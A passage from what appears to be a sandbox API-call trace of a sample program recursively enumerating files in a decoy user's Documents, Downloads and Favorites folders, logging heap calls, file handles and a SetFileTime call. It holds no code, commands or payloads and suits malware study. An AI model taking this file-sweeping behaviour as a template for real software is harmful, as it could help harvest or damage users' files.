Flags=0x8, Size=0x80) returned 0x12f1f60 [0090.749] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134e9b8 [0090.749] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.749] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134eac0 [0090.749] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vpc7s\\jTx 77oK_6Q2gn\\tXSKss27JHD6_ml0uf\\Vdij4lVSo9ZkL8aGhz\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e8f80 [0090.749] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8faa340, ftCreationTime.dwHighDateTime=0x1d5b69a, ftLastAccessTime.dwLowDateTime=0x9c1c4330, ftLastAccessTime.dwHighDateTime=0x1d5be1b, ftLastWriteTime.dwLowDateTime=0x9c1c4330, ftLastWriteTime.dwHighDateTime=0x1d5be1b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.750] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3ac2350, ftCreationTime.dwHighDateTime=0x1d5ba10, ftLastAccessTime.dwLowDateTime=0x902f8b50, ftLastAccessTime.dwHighDateTime=0x1d5bfd2, ftLastWriteTime.dwLowDateTime=0x902f8b50, ftLastWriteTime.dwHighDateTime=0x1d5bfd2, nFileSizeHigh=0x0, nFileSizeLow=0xb929, dwReserved0=0x0, dwReserved1=0x0, cFileName="7inTxOLIF.odp", cAlternateFileName="")) returned 1 [0090.750] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.750] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.750] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.751] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134ebc8 [0090.751] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1f60) returned 1 [0090.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5778 [0090.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134edd8 [0090.752] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.752] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7d24fc0, ftCreationTime.dwHighDateTime=0x1d5b7d3, ftLastAccessTime.dwLowDateTime=0x1d0d75d0, ftLastAccessTime.dwHighDateTime=0x1d5bd37, ftLastWriteTime.dwLowDateTime=0x1d0d75d0, ftLastWriteTime.dwHighDateTime=0x1d5bd37, nFileSizeHigh=0x0, nFileSizeLow=0xc208, dwReserved0=0x0, dwReserved1=0x0, cFileName="pZhPvPlLPiMUrwAxd.pptx", cAlternateFileName="")) returned 1 [0090.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.752] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.753] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5798 [0090.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134efe8 [0090.754] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.754] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5b1a290, ftCreationTime.dwHighDateTime=0x1d5c10f, ftLastAccessTime.dwLowDateTime=0x12074880, ftLastAccessTime.dwHighDateTime=0x1d5c00e, ftLastWriteTime.dwLowDateTime=0x12074880, ftLastWriteTime.dwHighDateTime=0x1d5c00e, nFileSizeHigh=0x0, nFileSizeLow=0xecc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="t1KTTX78i.csv", cAlternateFileName="")) returned 1 [0090.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.754] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.755] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.755] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.755] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f57b8 [0090.755] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134f0f0 [0090.755] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.755] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5b1a290, ftCreationTime.dwHighDateTime=0x1d5c10f, ftLastAccessTime.dwLowDateTime=0x12074880, ftLastAccessTime.dwHighDateTime=0x1d5c00e, ftLastWriteTime.dwLowDateTime=0x12074880, ftLastWriteTime.dwHighDateTime=0x1d5c00e, nFileSizeHigh=0x0, nFileSizeLow=0xecc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="t1KTTX78i.csv", cAlternateFileName="")) returned 0 [0090.755] GetLastError () returned 0x12 [0090.756] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vpc7s\\jTx 77oK_6Q2gn\\tXSKss27JHD6_ml0uf\\Vdij4lVSo9ZkL8aGhz\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9000 [0090.756] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0090.756] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8faa340, ftCreationTime.dwHighDateTime=0x1d5b69a, ftLastAccessTime.dwLowDateTime=0x9c1c4330, ftLastAccessTime.dwHighDateTime=0x1d5be1b, ftLastWriteTime.dwLowDateTime=0x9c1c4330, ftLastWriteTime.dwHighDateTime=0x1d5be1b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.756] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3ac2350, ftCreationTime.dwHighDateTime=0x1d5ba10, ftLastAccessTime.dwLowDateTime=0x902f8b50, ftLastAccessTime.dwHighDateTime=0x1d5bfd2, ftLastWriteTime.dwLowDateTime=0x902f8b50, ftLastWriteTime.dwHighDateTime=0x1d5bfd2, nFileSizeHigh=0x0, nFileSizeLow=0xb929, dwReserved0=0x0, dwReserved1=0x0, cFileName="7inTxOLIF.odp", cAlternateFileName="")) returned 1 [0090.756] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7d24fc0, ftCreationTime.dwHighDateTime=0x1d5b7d3, ftLastAccessTime.dwLowDateTime=0x1d0d75d0, ftLastAccessTime.dwHighDateTime=0x1d5bd37, ftLastWriteTime.dwLowDateTime=0x1d0d75d0, ftLastWriteTime.dwHighDateTime=0x1d5bd37, nFileSizeHigh=0x0, nFileSizeLow=0xc208, dwReserved0=0x0, dwReserved1=0x0, cFileName="pZhPvPlLPiMUrwAxd.pptx", cAlternateFileName="")) returned 1 [0090.756] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5b1a290, ftCreationTime.dwHighDateTime=0x1d5c10f, ftLastAccessTime.dwLowDateTime=0x12074880, ftLastAccessTime.dwHighDateTime=0x1d5c00e, ftLastWriteTime.dwLowDateTime=0x12074880, ftLastWriteTime.dwHighDateTime=0x1d5c00e, nFileSizeHigh=0x0, nFileSizeLow=0xecc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="t1KTTX78i.csv", cAlternateFileName="")) returned 1 [0090.756] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5b1a290, ftCreationTime.dwHighDateTime=0x1d5c10f, ftLastAccessTime.dwLowDateTime=0x12074880, ftLastAccessTime.dwHighDateTime=0x1d5c00e, ftLastWriteTime.dwLowDateTime=0x12074880, ftLastWriteTime.dwHighDateTime=0x1d5c00e, nFileSizeHigh=0x0, nFileSizeLow=0xecc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="t1KTTX78i.csv", cAlternateFileName="")) returned 0 [0090.756] GetLastError () returned 0x12 [0090.756] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134eac0) returned 1 [0090.756] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0090.756] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134ebc8) returned 1 [0090.757] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134e9b8) returned 1 [0090.757] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8faa340, ftCreationTime.dwHighDateTime=0x1d5b69a, ftLastAccessTime.dwLowDateTime=0x9c1c4330, ftLastAccessTime.dwHighDateTime=0x1d5be1b, ftLastWriteTime.dwLowDateTime=0x9c1c4330, ftLastWriteTime.dwHighDateTime=0x1d5be1b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vdij4lVSo9ZkL8aGhz", cAlternateFileName="")) returned 0 [0090.757] GetLastError () returned 0x12 [0090.757] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134e490) returned 1 [0090.757] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0090.758] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134e598) returned 1 [0090.758] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134e388) returned 1 [0090.758] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecec56a0, ftCreationTime.dwHighDateTime=0x1d5b5d9, ftLastAccessTime.dwLowDateTime=0x61e34f90, ftLastAccessTime.dwHighDateTime=0x1d5c520, ftLastWriteTime.dwLowDateTime=0x61e34f90, ftLastWriteTime.dwHighDateTime=0x1d5c520, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tXSKss27JHD6_ml0uf", cAlternateFileName="")) returned 0 [0090.759] GetLastError () returned 0x12 [0090.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1fe8) returned 1 [0090.759] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0090.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134de60) returned 1 [0090.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1b20) returned 1 [0090.759] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d4b11c0, ftCreationTime.dwHighDateTime=0x1d5c42d, ftLastAccessTime.dwLowDateTime=0xc67ec850, ftLastAccessTime.dwHighDateTime=0x1d5c3a7, ftLastWriteTime.dwLowDateTime=0xc67ec850, ftLastWriteTime.dwHighDateTime=0x1d5c3a7, nFileSizeHigh=0x0, nFileSizeLow=0x16947, dwReserved0=0x0, dwReserved1=0x0, cFileName="Q1N5TvJZgM8qiL9LcZb.xls", cAlternateFileName="")) returned 1 [0090.759] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84211660, ftCreationTime.dwHighDateTime=0x1d5b890, ftLastAccessTime.dwLowDateTime=0x7649b7b0, ftLastAccessTime.dwHighDateTime=0x1d5b735, ftLastWriteTime.dwLowDateTime=0x7649b7b0, ftLastWriteTime.dwHighDateTime=0x1d5b735, nFileSizeHigh=0x0, nFileSizeLow=0xa541, dwReserved0=0x0, dwReserved1=0x0, cFileName="X9IWYvQH0HHJl8dOGH.ppt", cAlternateFileName="")) returned 1 [0090.759] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14e9b950, ftCreationTime.dwHighDateTime=0x1d5b5d9, ftLastAccessTime.dwLowDateTime=0xbab93590, ftLastAccessTime.dwHighDateTime=0x1d5c560, ftLastWriteTime.dwLowDateTime=0xbab93590, ftLastWriteTime.dwHighDateTime=0x1d5c560, nFileSizeHigh=0x0, nFileSizeLow=0x10a42, dwReserved0=0x0, dwReserved1=0x0, cFileName="zJzn-K.odt", cAlternateFileName="")) returned 1 [0090.759] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14e9b950, ftCreationTime.dwHighDateTime=0x1d5b5d9, ftLastAccessTime.dwLowDateTime=0xbab93590, ftLastAccessTime.dwHighDateTime=0x1d5c560, ftLastWriteTime.dwLowDateTime=0xbab93590, ftLastWriteTime.dwHighDateTime=0x1d5c560, nFileSizeHigh=0x0, nFileSizeLow=0x10a42, dwReserved0=0x0, dwReserved1=0x0, cFileName="zJzn-K.odt", cAlternateFileName="")) returned 0 [0090.759] GetLastError () returned 0x12 [0090.760] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.760] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0090.760] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134d938) returned 1 [0090.760] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.760] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44335560, ftCreationTime.dwHighDateTime=0x1d581bb, ftLastAccessTime.dwLowDateTime=0xdd3c4fd0, ftLastAccessTime.dwHighDateTime=0x1d59ca2, ftLastWriteTime.dwLowDateTime=0xdd3c4fd0, ftLastWriteTime.dwHighDateTime=0x1d59ca2, nFileSizeHigh=0x0, nFileSizeLow=0x7298, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xiEp5GIdD.xlsx", cAlternateFileName="")) returned 1 [0090.760] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47f98120, ftCreationTime.dwHighDateTime=0x1d570d0, ftLastAccessTime.dwLowDateTime=0x554a1f80, ftLastAccessTime.dwHighDateTime=0x1d56c8c, ftLastWriteTime.dwLowDateTime=0x554a1f80, ftLastWriteTime.dwHighDateTime=0x1d56c8c, nFileSizeHigh=0x0, nFileSizeLow=0xb09, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xWBW6h0QZLRc37eC.pptx", cAlternateFileName="")) returned 1 [0090.760] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28224bf0, ftCreationTime.dwHighDateTime=0x1d5930a, ftLastAccessTime.dwLowDateTime=0x52e9a4f0, ftLastAccessTime.dwHighDateTime=0x1d596f7, ftLastWriteTime.dwLowDateTime=0x52e9a4f0, ftLastWriteTime.dwHighDateTime=0x1d596f7, nFileSizeHigh=0x0, nFileSizeLow=0x7d0f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_EYlg-pCUgeZR.xlsx", cAlternateFileName="")) returned 1 [0090.760] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28224bf0, ftCreationTime.dwHighDateTime=0x1d5930a, ftLastAccessTime.dwLowDateTime=0x52e9a4f0, ftLastAccessTime.dwHighDateTime=0x1d596f7, ftLastWriteTime.dwLowDateTime=0x52e9a4f0, ftLastWriteTime.dwHighDateTime=0x1d596f7, nFileSizeHigh=0x0, nFileSizeLow=0x7d0f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_EYlg-pCUgeZR.xlsx", cAlternateFileName="")) returned 0 [0090.760] GetLastError () returned 0x12 [0090.761] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efd60) returned 1 [0090.761] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0090.763] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134c7b0) returned 1 [0090.764] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0090.764] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="")) returned 1 [0090.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0090.764] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\downloads"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.764] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\downloads"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0090.765] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0090.765] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0090.765] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0090.765] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0090.765] NtClose (Handle=0x164) returned 0x0 [0090.766] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0090.766] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0090.766] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efd60 [0090.766] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.766] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0090.767] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.767] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0090.767] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.767] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.767] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.768] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.768] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.768] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f57d8 [0090.768] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1b20 [0090.768] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.768] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0090.768] GetLastError () returned 0x12 [0090.768] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e90c0 [0090.769] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0090.769] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.769] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0090.769] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0090.769] GetLastError () returned 0x12 [0090.769] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.769] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0090.769] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efd60) returned 1 [0090.770] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0090.770] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="")) returned 1 [0090.770] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0090.770] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0090.770] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" (normalized: 